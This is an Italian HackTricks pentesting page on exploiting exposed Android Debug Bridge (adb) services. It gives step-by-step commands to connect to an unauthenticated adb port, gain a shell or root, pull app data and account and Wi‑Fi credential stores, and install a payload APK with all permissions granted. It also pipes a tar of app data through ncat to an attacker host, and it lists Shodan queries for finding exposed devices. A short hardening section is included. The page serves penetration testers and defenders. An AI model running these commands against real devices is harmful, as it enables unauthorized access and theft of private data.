5555 - Android Debug Bridge
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Dalla documentazione:
Android Debug Bridge (adb) è uno strumento da riga di comando per comunicare con dispositivi e emulatori basati su Android. Le azioni tipiche includono l'installazione di pacchetti, il debug e l'ottenimento di una shell Unix interattiva sul dispositivo.
- Porta TCP predefinita storica: 5555 (modalità "adb tcpip" classica).
- Il debug wireless moderno (Android 11+) utilizza il pairing TLS e la scoperta del servizio mDNS. La porta di connessione è dinamica e scoperta tramite mDNS; potrebbe non essere 5555. Il pairing avviene con adb pair host:port seguito da adb connect. Vedi le note qui sotto per le implicazioni offensive.
Esempio di fingerprint nmap:
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
Connetti
Se trovi ADB esposto e raggiungibile, prova a connetterti e a enumerare rapidamente:
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
- Se il dispositivo impone l'autenticazione ADB (ro.adb.secure=1), dovrai essere pre-autorizzato (autenticazione USB RSA) o utilizzare il pairing di debug wireless di Android 11+ (che richiede un codice una tantum visualizzato sul dispositivo).
- Alcune immagini dei fornitori, build engineering/userdebug, emulatori, TV, STB e kit di sviluppo espongono adbd senza autenticazione o con adbd in esecuzione come root. In questi casi, di solito atterrerai direttamente in una shell o in una shell root.
Per un riferimento generale ai comandi ADB, vedere:
Quick Post-Exploitation
Una volta che hai la shell, verifica i privilegi e il contesto SELinux:
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
Enumerare e catturare dati
- Elenca app di terze parti e percorsi:
pm list packages -3
pm path <pkg>
- Se hai i permessi di root (adb root o su funzionano), puoi accedere direttamente a /data. In caso contrario, preferisci run-as per app debuggabili:
# Senza root, per un'app debuggabile
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Con root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
- Artefatti di sistema utili (richiesto root):
- /data/system/users/0/accounts.db e dati relativi a AccountManager
- /data/misc/wifi/ (configurazioni/chiavi di rete su versioni più vecchie)
- DB SQLite specifici dell'app e shared_prefs sotto /data/data/
Puoi usare questo per recuperare informazioni sensibili (ad es., segreti dell'app). Per note sulle considerazioni sui dati di Chrome, vedi il problema menzionato qui.
Esecuzione di codice e consegna del payload
- Installa e concedi automaticamente i permessi di runtime:
adb install -r -g payload.apk # -g concede tutti i permessi di runtime dichiarati nel manifest
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
- Avvia attività/servizi/broadcast direttamente:
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
Port forwarding e pivoting
Anche senza root, adb può inoltrare porte locali a porte del dispositivo e viceversa. Questo è utile per accedere a servizi legati localmente sul dispositivo o per esporre servizi dell'attaccante al dispositivo.
- Inoltra host->dispositivo (accedi a un servizio locale del dispositivo dal tuo host):
adb forward tcp:2222 tcp:22 # Se il dispositivo esegue SSH (ad es., Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Esporre il server di debug locale dell'app
- Inverso dispositivo->host (consenti al dispositivo di raggiungere un servizio sul tuo host):
adb reverse tcp:1080 tcp:1080 # Le app del dispositivo possono ora raggiungere host:1080 come 127.0.0.1:1080
- Esfiltrazione di file tramite socket (senza scritture su sdcard):
# Sul host: ascolta
ncat -lvp 9000 > dump.tar
# Sul dispositivo: invia la directory come tar (root o run-as come applicabile)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
Debugging wireless (Android 11+)
Android moderno implementa il debugging wireless protetto da TLS con accoppiamento lato dispositivo e scoperta mDNS:
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
Note
- Le porte sono dinamiche; non assumere 5555. I nomi dei servizi mDNS sembrano:
- _adb-tls-pairing._tcp (accoppiamento)
- _adb-tls-connect._tcp (connessione accoppiata)
- _adb._tcp (legacy/plain)
- Se mDNS è filtrato, l'abilitazione classica assistita da USB potrebbe ancora funzionare su alcune build:
adb tcpip 5555
poiadb connect <ip>:5555
(fino al riavvio).
Implicazioni offensive: se puoi interagire con l'interfaccia utente del dispositivo (ad es., accesso fisico o configurazione errata di MDM mobile) per abilitare il debug wireless e visualizzare il codice di accoppiamento, puoi stabilire un canale ADB accoppiato a lungo termine senza cavo. Alcuni OEM espongono ADB su TCP in immagini di ingegneria/sviluppo senza accoppiamento—controlla sempre.
Indurimento / Rilevamento
I difensori dovrebbero assumere che qualsiasi adbd (TCP) raggiungibile rappresenti un rischio critico.
- Disabilita ADB e il debug wireless quando non necessario. Revoca le autorizzazioni di debug USB nelle opzioni per sviluppatori.
- Assicurati che la politica di rete blocchi il TCP/5555 in entrata e la scoperta ADB basata su mDNS su segmenti non affidabili.
- Su dispositivi sotto il tuo controllo:
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # disabilita l'ascolto TCP (o usa: adb usb)
stop adbd; start adbd # riavvia il demone
- Monitora i record mDNS
_adb._tcp
,_adb-tls-connect._tcp
,_adb-tls-pairing._tcp
sulle reti aziendali e allerta per ascoltatori 5555 inaspettati. - Inventario per build insicure:
getprop ro.debuggable
,ro.build.type
, ero.adb.secure
.
Shodan
- android debug bridge
- port:5555 product:"Android Debug Bridge"
Riferimenti
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.